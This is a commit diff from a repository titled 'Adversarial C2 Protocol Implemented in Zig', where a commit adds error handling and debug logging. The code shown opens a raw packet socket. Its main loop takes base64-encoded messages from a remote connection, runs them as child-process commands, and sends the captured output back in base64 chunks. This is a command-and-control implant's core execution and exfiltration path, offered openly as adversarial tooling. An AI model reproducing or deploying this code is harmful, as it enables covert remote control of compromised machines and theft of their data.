Adversarial C2 Protocol Implemented in Zig
0
fork

Configure Feed

Select the types of activity you want to include in your feed.

Better error handling and debug logging

+19 -14
+1 -1
src/RawSocket.zig
··· 15 15 }; 16 16 17 17 pub fn init() !RawSocket { 18 - const socket: i32 = @intCast(std.os.linux.socket(std.os.linux.AF.PACKET, std.os.linux.SOCK.RAW, 0)); 18 + const socket: i32 = std.math.cast(i32, std.os.linux.socket(std.os.linux.AF.PACKET, std.os.linux.SOCK.RAW, 0)) orelse return error.SocketError; 19 19 if (socket < 0) return error.SocketError; 20 20 21 21 var ifreq_storage: [16]std.os.linux.ifreq = undefined;
+18 -13
src/main.zig
··· 1 - const is_debug = builtin.mode == .Debug; 2 - 3 1 const help = 4 2 \\-h, --help Display this help and exit. 5 3 \\-r, --relay <str> A relay message to send. ··· 43 41 if (to_option.get(args[i])) |opt| { 44 42 switch (opt) { 45 43 .help => { 46 - std.debug.print("{s}\n", .{help}); 44 + std.debug.print("{s}", .{help}); 47 45 return; 48 46 }, 49 47 .relay => { ··· 84 82 return error.InvalidArguments; 85 83 } 86 84 87 - var client: SaprusClient = try .init(); 85 + var client = try SaprusClient.init(); 88 86 defer client.deinit(); 89 87 90 88 if (flags.relay != null) { ··· 96 94 chunk_writer.end = 0; 97 95 try chunk_writer.print("{b64}", .{chunk}); 98 96 try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest)); 99 - try init.io.sleep(.fromMilliseconds(40), .real); 97 + try init.io.sleep(.fromMilliseconds(40), .boot); 100 98 } 101 99 } else { 102 100 var stdin_file: std.Io.File = .stdin(); ··· 114 112 chunk_writer.end = 0; 115 113 try chunk_writer.print("{b64}", .{stdin.buffered()}); 116 114 try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest)); 117 - try init.io.sleep(.fromMilliseconds(40), .real); 115 + try init.io.sleep(.fromMilliseconds(40), .boot); 118 116 try stdin.discardAll(stdin.end); 119 117 } else |err| switch (err) { 120 118 error.EndOfStream => { ··· 145 143 146 144 log.debug("Connection started", .{}); 147 145 148 - while (true) { 146 + next_message: while (true) { 149 147 var res_buf: [2048]u8 = undefined; 150 148 const next = connection.next(init.io, &res_buf) catch { 151 149 try init.io.sleep(.fromSeconds(retry_seconds), .boot); ··· 156 154 var connection_payload_buf: [2048]u8 = undefined; 157 155 const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)]; 158 156 b64d.decode(connection_payload, next) catch { 159 - // TODO: debug log 157 + log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload}); 160 158 continue; 161 159 }; 162 160 ··· 171 169 var child_stderr: std.ArrayList(u8) = .empty; 172 170 defer child_stderr.deinit(init.gpa); 173 171 174 - try child.collectOutput(init.gpa, &child_stdout, &child_stderr, std.math.maxInt(usize)); 172 + child.collectOutput(init.gpa, &child_stdout, &child_stderr, std.math.maxInt(usize)) catch |err| { 173 + log.debug("Failed to collect output: {t}", .{err}); 174 + continue; 175 + }; 175 176 176 - var cmd_output_buf: [2048]u8 = undefined; 177 + var cmd_output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined; 177 178 var cmd_output: Writer = .fixed(&cmd_output_buf); 178 179 179 180 var cmd_output_window_iter = std.mem.window(u8, child_stdout.items, SaprusClient.max_payload_len, SaprusClient.max_payload_len); 180 181 while (cmd_output_window_iter.next()) |chunk| { 181 182 cmd_output.end = 0; 182 - try cmd_output.print("{b64}", .{chunk}); 183 - try connection.send(init.io, cmd_output.buffered()); 184 - try init.io.sleep(.fromMilliseconds(40), .real); 183 + // Unreachable because the cmd_output_buf is twice the size of the chunk. 184 + cmd_output.print("{b64}", .{chunk}) catch unreachable; 185 + connection.send(init.io, cmd_output.buffered()) catch |err| { 186 + log.debug("Failed to send connection chunk: {t}", .{err}); 187 + continue :next_message; 188 + }; 189 + try init.io.sleep(.fromMilliseconds(40), .boot); 185 190 } 186 191 } 187 192 }